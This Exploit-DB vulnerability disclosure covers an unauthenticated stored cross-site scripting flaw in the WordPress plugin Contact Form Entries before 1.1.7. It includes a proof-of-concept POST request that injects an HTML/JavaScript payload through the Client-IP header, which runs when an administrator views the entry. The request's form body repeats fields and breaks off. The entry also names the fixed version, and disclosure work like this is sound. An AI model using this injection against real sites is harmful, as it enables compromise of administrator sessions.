WordPress Plugin Contact Form Entries 1.1.6 – Cross Site Scripting (XSS) (Unauthenticated)

  • 作者: Gaetano Perrone
    日期: 2022-01-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50617/
  • # Exploit Title: WordPress Plugin Contact Form Entries 1.1.6 - Cross Site Scripting (XSS) (Unauthenticated) 
    # Date: 22/12/2021
    # Exploit Author: gx1<gaetano.perrone[at]secsi.io>
    # Vulnerability Discovery: Gaetano Perrone
    # Vendor Homepage: https://www.crmperks.com/
    # Software Link: https://wordpress.org/plugins/contact-form-entries/
    # Version: < 1.1.7
    # Tested on: any
    
    # References: 
    
    * https://wpscan.com/vulnerability/acd3d98a-aab8-49be-b77e-e8c6ede171ac
    * https://secsi.io/blog/cve-2021-25080-finding-cross-site-scripting-vulnerabilities-in-headers/
    
    # Description: 
    Contact Form Entries < 1.1.7 is vulnerable to Unauthenticated Stored Cross-Site Scripting
    
    # Technical Details and Exploitation: 
    
    CRM Form Entries CRM is vulnerable to a Stored XSS in Client IP field. 
    When the user uploads a new form, CRM Form Entries checks for the client IP in order to save information about the user: 
    ===============================================================================================================
    public function get_ip(), wp-content/plugins/contact-form-entries/contact-form-entries.php, line 1388
    ==============================================================================================================
    The user can set an arbitrary "HTTP_CLIENT_IP" value, and the value is stored inside the database. 
    
    
    # Proof Of Concept: 
    
    Suppose that you have a Contact Form, intercept the POST request and insert the following Client-IP header
    ===============================================================================================================
    POST /index.php?rest_route=/contact-form-7/v1/contact-forms/10/feedback HTTP/1.1
    Host: dsp.com:11080
    Content-Length: 1411
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 ...
    Client-IP: <img src=a onerror=alert(1)>
    
    ------WebKitFormBoundaryCuNGXLnhRsdglEAx
    
    Content-Disposition: form-data; name="_wpcf7"
    
    10
    ------WebKitFormBoundaryCuNGXLnhRsdglEAx
    Content-Disposition: form-data; name="_wpcf7_version"
    
    5.3.1
    ------WebKitFormBoundaryCuNGXLnhRsdglEAx
    Content-Disposition: form-data; name="_wpcf7_locale"
    
    en_US
    ------WebKitFormBoundaryCuNGXLnhRsdglEAx
    Content-Disposition: form-data; name="_wpcf7_unit_tag"
    
    wpcf7-f10-p13-o1
    ------WebKitFormBoundaryCuNGXLnhRsdglEAx
    Content-Disposition: form-data; name="_wpcf7_container_post"
    
    Content-Disposition: form-data; name="_wpcf7"
    
    10
    ------WebKitFormBoundaryCuNGXLnhRsdglEAx
    Content-Disposition: form-data; name="_wpcf7_version"
    
    5.3.1
    ------WebKitFormBoundaryCuNGXLnhRsdglEAx
    Content-Disposition: form-data; name="_wpcf7_locale"
    
    en_US
    ------WebKitFormBoundaryCuNGXLnhRsdglEAx
    Content-Disposition: form-data; name="_wpcf7_unit_tag"
    
    wpcf7-f10-p13-o1
    ------WebKitFormBoundaryCuNGXLnhRsdglEAx
    Content-Disposition: form-data; name="_wpcf7_container_post"
    ...
    ===============================================================================================================
    The request is acccepted, and the code navigates the section $_SERVER['HTTP_CLIENT_IP'], ip is injected and saved inside the database. 
    When the administrator clicks on the entry element in the plugin, the XSS is triggered. 
    
    
    # Solution: 
    Upgrade Contact Form Entries to version 1.1.7